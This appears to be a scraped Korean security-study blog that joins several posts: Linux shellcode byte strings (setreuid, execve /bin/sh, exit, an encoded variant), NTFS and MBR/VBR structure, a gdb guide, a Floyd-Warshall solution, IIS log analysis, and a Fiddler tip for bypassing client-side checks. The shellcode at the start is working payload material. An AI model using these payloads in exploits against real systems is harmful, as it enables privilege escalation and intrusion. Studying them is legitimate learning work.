// 16 Bytesetreuid( geteuid() , geteuid() );

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80


// 25 Byte, shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


// 41 Byte

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


// 48 Byte, without \x2f

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81


//64bit shellcode

\xA0\x20\x60\x00\x00\x00\x00\x00"+b"\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05


출처  : http://j4ckp4rd.tistory.com/44

'시스템 > 리눅스 기본' 카테고리의 다른 글

라이브러리 참조순서  (0) 2016.10.15
알아두면 좋은 명령어 모음  (0) 2016.10.13
gdb layout  (0) 2016.10.13
find 명령어 정리  (0) 2016.09.30
gdb사용법/ 명령어  (0) 2016.06.24

http://intenila.tistory.com/5

x01. 가장 기본적으로 쉘을 띄우는 코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

bytes : 25
미포함 : setreuid(), exit()

0x02. 쉘을 종료할 때 exit(0)으로 정상종료까지 시켜주는 코

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
\x31\xc0\xb0\x01\xcd\x80

bytes : 31
미포함 : setreuid()

0x03. setreuid(geteuid(), getreuid()), exit(0) 까지 포함시킨 쉘 코드
 

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
\x31\xc0\xb0\x01\xcd\x80

bytes : 47

0x04. exit(0) 코드
\x31\xc0\xb0\x01\xcd\x80

bytes : 6

0x05. setreuid(geteuid(), geteuid())  코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80

bytes : 16 


'시스템 > 시스템 해킹' 카테고리의 다른 글

tip 정리  (0) 2016.11.18
bind shellcode 소스코드  (0) 2016.10.16
버퍼오버플로우 문서  (0) 2016.10.13
환경변수에 쉘코드 넣기(에그쉘 정리)  (0) 2016.10.12
ROP exploit  (0) 2016.09.29
http://carpedm20.blogspot.kr/2012/09/blog-post.html

이 블로그에 잘 정리가 되어있다.



'기타' 카테고리의 다른 글

메모리 동적할당 읽을거리 링크  (0) 2017.01.10
노트북 와이파이  (0) 2016.12.25
exploit-db  (0) 2016.12.16
sysmetric-key algorithm and public-key algorithm  (0) 2016.10.27
보면 좋은 문서들  (0) 2016.10.14

NTFS(New Technology File System)


출처 : forensic-proof.com


NTFS의 전체적인 구조는 위와 같다.


아래는

NTFS의 Boot Record 의 구조이다.


 Byte Range Description
DecimalHexadecimal
 0 – 2 0x0000 – 0x0002  Jump command to boot code (usually 0xEB5290)
 3 – 10 0x0003 – 0x000A OEM ID (typically "NTFS      ")
 11 – 12 0x000B – 0x000C  Bytes per sector
 13 – 13 0x000D – 0x000D Sectors per cluster
 14 – 15 0x000E – 0x000F Reserved
 16 – 18 0x0010 – 0x0012 Always 0
 19 – 20 0x0013 – 0x0014 Unused
 21 – 21 0x0015 – 0x0015 Media descriptor
 22 – 23 0x0016 – 0x0017 Always 0
 24 – 25 0x0018 – 0x0019 Sector per track
 26 – 27 0x001A – 0x001B Number of heads
 28 – 31 0x001C – 0x001F Hidden sectors
 32 – 35 0x0020 – 0x0023 Unused
 36 – 39 0x0024 – 0x0027 Unused
 40 – 47 0x0028 – 0x002F Total secotrs
 48 – 55 0x0030 – 0x0037 Logical cluster Number for the file $MFT
 56 – 63 0x0038 – 0x003F Logical cluster Number for the file $MFTMirr
 64 – 67 0x0040 – 0x0043 Clusters per file record segment
 68 – 71 0x0044 – 0x0047 Clusters per index block
 72 – 79 0x0048 – 0x004F Volume serial number
 80 – 83 0x0050 – 0x0053 Checksum
 84 – 509 0x0054 – 0x01FD Boot code and error message
 510 – 511 0x01FE – 0x01FF Signature ("0x55AA")

출처 : forensic-proof.com


빨간색 음영되있는 부분은 중요한 부분이다.

cluster란 말이 나오는데 클러스터는 파일 시스템이 파일을 저장하기 위해 할당할 수 있는 가장 작은 디스크 공간이다.

cluster의 크기는 VBR의 크기에 영향을 주는데

Cluster Size (Byte)VBR Size (Sector)
 512 1
 1K 2
 2K 4
 4K 8

출처 : forensic-proof.com



실재 덤프 내용이다.

출처 : forensic-proof.com


추가적인 VBR영역도 있는데 이는 NTLDR(NT LOARDER)을 빠르게 로드하기 위함이다.

'포렌식 > 파일시스템' 카테고리의 다른 글

MBR VBR에 관하여  (0) 2016.07.04


들어가며

 

시스템은 파티션의 크기 정보, 파티션 위치정보를 MBR의 파티션 테이블에 저장한다.

이 파티션 테이블은 총 4개의 파티션 정보를 저장할 수 있다.

부팅할때 파일 시스템은 파티션 테이블에 저장된 파티션의 속성 위치, 크기정보를 통하여 파티션을 구분한다.

각 파티션은 파티션 종류에 따라 다르지만 일반적으로(FAT, NTFS) 파티션의 시작위치에 VBR(Volume Boot Record)가 생성된다. 




MBR(Master Boot Record)


MBR은 모든 기억장치의 첫번째 섹터에 존재하며 크게 부트코드, 파티션테이블, 시그니처 3가지 영역으로 나눌 수 있다.

출처 : cappleblog.co.kr



다음은 HxD로 열어본 모습이다.

출처 : cappleblog.co.kr


부트 코드 영역은 총 446바이트로 구성된다.

이 영역은 파티션테이블로부터 부팅가능한 파티션을 찾아서 그 파티션의 부트 섹터를 호출해 준다.


파티션테이블 영역은 총 64바이트로 16바이트씩 4개의 엔트리를 가진다.

각 엔트리에는 파티션 부팅가능 여부, 파티션 시작위치, 총 섹터 개수, 파티션 유형 등 기본적인 정보를 저장한다. 시스템은 이 테이블을 바탕으로 파티션을 구분한다.


마지막으로 시그니쳐 영역은 해당 섹터가 문제가 없는 MBR 섹터인지 확인하기 위한 값으로써 55 AA라는 고정값을 가진다. 이는 MBR 뿐만 아니라 VBR에서도 해당된다.




VBR(Volume Boot Record)


볼륨의 첫번째 섹터를 의미하며 파티션이 나누어 지지 않은 저장장치에선 MBR대신 저장장치의 첫번째 섹터에 사용된다.

VBR의 첫번째 섹터에는 부트섹터가 위치한다.

여러 파일 시스템이 VBR헤더영역을 이용해 각각 설정값을 부여한 후 부팅 , 파티션 정보 저장 용도로 사용하고 있다.





참고: 포렌식 관점의 파티션 복구 기법에 관한 연구

'포렌식 > 파일시스템' 카테고리의 다른 글

NTFS 구조  (0) 2016.07.04

1. 사용

컴파일 할때 -g 옵션을 사용해서 컴파일 gcc -g -o (프로그램명) (소스파일명)

실행: gdb (프로그램명)


2. 종료

q, quit, ctrl+d


3. 소스보기 (list / l)

10줄씩 출력한다.   (*출력단위 변경 ; set listsize (줄 단위) )

list : 메인함수 기준 출력

list (숫자) : 숫자를 기준으로 10줄 출력

list function : 함수 소스 출력

list - : 현재 출력된 리스트의 이전 행을 출력


4. 실행

(1) run /r : 이상이 발생했을때 오류가 생긴 부분도 출력해줌 

(2) bt : back trace 의 약어로 오류가 생긴부분에서 그 전 과정을 보여준다. 

(3) kill / k : 프로그램 종료

(4) step / s: 현재 행 실행. 함수안으로 들어갈 수 있음 (s 3 : step 3번한 결과)

(5) next / n : 현재 행 실행. 함수도 바로 실행(n 4: next 4번 결과)

* s/n다음에 i를 붙이면 어셈단위 실행 (si, ni)

(6) continue / c : 다음 bp까지 실행

(7) finish : 현재함수 수행 후 빠져나감

(8) return : 현재 함수 수행하지 않고 빠져나간다 (return (값) : 리턴값 지정 가능)



5. bp(break point 설정)

break / b

(1) break (행 번호) : 그 행에 bp 설정

(2) break (함수 이름) : 함수의 시작 부분에 bp 설정

(3) break (파일이름):(함수이름) : ~파일의 ~함수의 시작부분에 bp설정

(4) break +/- (숫자) : 현재에서 숫자만큼 더하거나 뺀부분에 bp설정

(5) break *0x111111: 특정 주소에 설정

(6) break ... if (조건) : 조건을 만족할때 bp설정

(7) tb : 1회용 bp

(8) info break : 현재 bp 정보

(9) cl : bp 지우기        delete (n) : 고유번호 n번의 bp지우기

(10) d : 모든 bp지우기


(11) watch (변수) : 특정 변수에 watch 를 설정하면 이 변수가 바뀔때마다 break 가 걸리면서 값을 출력


6. 변수 정보

info locals : 현재 상태의 지역변수와 값을 보여줌

info variables : 전역변수 리스트

info registers : 레지스터 전체 리스트

p/print (변수) : 변수 값
 p (함수명)  : 함수의 주소 

중복된 변수가 있는 경우 ( 지역변수 우선 ) -> p '(파일명)'::(변수명) : -파일에 있는     전역변수 를 출력

포인터 변수의 경우 위의 방법으로 하면 주소값만 출력.
포인터 변수의 값 또는 포인터 구조체 등의 값을 보기 위해서는 * 를 붙여준다.
   p  *(변수)
    p $(레지스터명)
   print (함수명)::(변수명) : 특정 함수 내 변수

p명령어는 기본적으로 10진수로 출력한다.

다른진수로 출력하는 법 

    p/t (변수)    2진수
    p/o (변수)    8진수
    p/d (변수)    10진수
    p/u (변수)    부호없는 10진수
    p/x (변수)    16진수
    p/c (변수)    최초 1바이트 값을 문자형으로
    p/f (변수)    부동소수점값
   
p는 값을 설정하는 것도 가능

    p (변수) = 값 


7. 변수 디스플레이

display (변수) : 진행중 계속 변수 출력

undisplay (변수) : 디스플레이 없애기 

disable/enable display (변수) : 일시정지/활성


8. 스택

frame / f

info f : 현재 스택프레임 정보

frame (프레임 번호) : ~번 프레임으로 이동

up : 상위 프레임 이동

down : 하위 프레임 이동

info args : 현재 스택 프레임 함수의 인자 출력

info locals : 현재 스택프레임 함수의 지역변수


9. 메모리 상태

x/(범위) (출력형식) (범위 단위) : 메모리 특정범위의 값 확인 (기본 단위 : 4 byte)


출력방식

-t : 2진수

-o : 8진수

-d / u : 부호없는 10진수

-x : 16진수

-c : 최초 1바이트 문자로 출력

-f : 부동소수점

-s : 문자열

-i : 어셈형식


범위 단위

-b : 1byte

-h : 2byte

-w : 4 byte

-g : 8byte


예시 : x/10tb main : main 함수로 부터 10 byte 를 2진수로 출력

   x/10xg 0x1293834 : 주소로 부터 80byte를 8 byte 단위로 15진수로 출력


10. 디스 어셈블링

disas (함수이름)

disas (시작주소) (끝주소) : 어셈블리 코드를 보여줌


11. 함수 호출

call (함수이름)((인자1),(인자2)) : 특정함수 인자값으로 호출


12. 주소로 분기

jump *0x123532 : ~주소로 분기

jump (행번호) : ~행으로 분기

jump (함수) : -함수로 분기


13. 시그널


14. info 명령


15. 환경설정





'시스템 > 리눅스 기본' 카테고리의 다른 글

라이브러리 참조순서  (0) 2016.10.15
알아두면 좋은 명령어 모음  (0) 2016.10.13
gdb layout  (0) 2016.10.13
find 명령어 정리  (0) 2016.09.30
shellcode  (0) 2016.09.20

출처 백준 온라인 저지 11404 번

문제

n(1≤n≤100)개의 도시가 있다. 그리고 한 도시에서 출발하여 다른 도시에 도착하는 m(1≤m≤100,000)개의 버스가 있다. 각 버스는 한 번 사용할 때 필요한 비용이 있다.

모든 도시의 쌍 (A, B)에 대해서 도시 A에서 B로 가는데 필요한 비용의 최소값을 구하는 프로그램을 작성하시오.

입력

첫째 줄에 도시의 개수 n(1≤n≤100)이 주어지고 둘째 줄에는 버스의 개수 m(1≤m≤100,000)이 주어진다. 그리고 셋째 줄부터 m+2줄까지 다음과 같은 버스의 정보가 주어진다. 먼저 처음에는 그 버스의 출발 도시의 번호가 주어진다. 버스의 정보는 버스의 시작 도시 a, 도착 도시 b, 한 번 타는데 필요한 비용 c로 이루어져 있다. 시작 도시와 도착 도시가 같은 경우는 없다. 비용은 100,000보다 작거나 같은 자연수이다.

출력

N개의 줄을 출력해야 한다. i번째 줄에 출력하는 j번째 숫자는 도시 i에서 j로 가는데 필요한 최소 비용이다. 만약, i에서 j로 갈 수 없는 경우에는 그 자리에 0을 출력한다.

예제 입력 

5
14
1 2 2
1 3 3
1 4 1
1 5 10
2 4 2
3 4 1
3 5 1
4 5 3
3 5 10
3 1 8
1 4 2
5 1 7
3 4 2
5 2 4

예제 출력 

0 2 3 1 4
12 0 15 2 5
8 5 0 1 1
10 7 13 0 3
7 4 10 6 0




#include<stdio.h>

int map[101][101];

int n, m;

int main(){

int i, j,a,b,c;

scanf("%d %d", &n, &m);

for (i = 0; i <= 100; i++){

for (j = 0; j <= 100; j++){

map[i][j] = 2100000000;

if (i == j)map[i][j] = 0;

}

}

for (i = 0; i < m; i++){

scanf("%d %d %d", &a, &b, &c);

if (map[a][b]>c)

map[a][b] = c;

}

for (int k = 1; k <= n; k++){

for (i = 1; i <= n; i++){

for (j = 1; j <= n; j++){

if (map[i][j] > map[i][k] + map[k][j]&&i!=j&&map[i][k]!=2100000000&&map[k][j]!=2100000000)

map[i][j] = map[i][k] + map[k][j];

}

}

}

for (i = 1; i <= n; i++){

for (j = 1; j <= n; j++){

if (map[i][j] == 2100000000)

printf("0 ");

else

printf("%d ", map[i][j]);

}

printf("\n");

}

return 0;

}


i->j까지의 비용과 i->k->j까지 비용을 비교해서 작은값을 i->j 값에 넣는다

n^3의 시간이 걸리고

모든 i j 에 대해서 최소비용을 구할 수 있다.

단 큰 배열크기가 필요함


'프로그래밍 > 알고리즘' 카테고리의 다른 글

kruscal algorithm 크루스칼 알고리즘  (0) 2017.06.14

logparser


사용법

cmd에 입력한다

logparser "Select (추출할 필드 종류 cs-uri-stem,cs-uriquery 등) From (웹로그파일 위치)\*.*(*.*은 모든 파일 확장자 의미) to (저장할 장소 파일 이름) Where (필드 추출 조건 ex: sc-status=500)" -i:(입력되는 파일유형) -o:(결과물을 어떤파일로 추출할 것인가)


예시는 밑에 사이트를 참고

Log Parser Example Queries 
http://logparserplus.com/Examples


출처 : 웹,해킹과 보안

' > 로그 분석' 카테고리의 다른 글

로그 포맷 유형 W3C 로그 확인법  (0) 2016.06.21

win 7 환경에서


먼저 인터넷 정보 서비스(IIS)를 켜야한다.

제어판->프로그램_>window 기능 사용/사용안함->인터넷 정보서비스 체크


제어판->시스템->관리도구->IIS 관리자


로그옵션에 들어가보면 로그가 어디있는지 알수 있다. 

IIS 는 W3C 로그 포맷을 이용하고 있다.

W3C에 이쓴ㄴ 정보는


time    접속한 시간

 c-ip    사용자 정보, 공격자 ip

cs-username    접속한 사용자 계정

s-computername    웹서버 이름

s-ip    웹서버 ip

s-port    웹서버 포트

 cs-method     http 메소드

cs-uri-stem 요청 페이지

cs-uri-query 요청 파라미터 (대부분의 공격이 여기에 삽입)

Cs(referer)    해당 사이트 접속전 거친 사이트의 정보

Cs(cookie)    사용자의 쿠키


여기서 대부분의 공격 로그는

cs-uri-query에 집중되는데 기본설정에서는 이 정보가 빠져있으므로 이 정보를 로그에 포함되도록 설정하여 로그 분석에 지장이 없도록 한다.




출처 : 웹, 해킹과 보안

' > 로그 분석' 카테고리의 다른 글

로그 분석 툴 추천 logparser  (0) 2016.06.21

request 패킷을 조작하기에 좋은 어플리케이션이 바로 Fiddler이다


자바 스크립트는 사용자측 스크립트로 웹 브라우저에서만 입력값을 검사한다.

fiddler는 웹 브라우저에서 서버로 전송되는 데이터를 캡처하므로 fiddler를 이용하면 java script를 우회할 수 있다.


fiddler에 대한 설명은 계속 더 보충하도록 하겠다.


6/21

----------------------------------------------------------------------------------------------

' > 기타' 카테고리의 다른 글

php server함수 펌  (0) 2017.01.30
POST 메소드 전송 형태  (0) 2016.06.21
HTTP 프로토콜 Request header  (0) 2016.06.21

+ Recent posts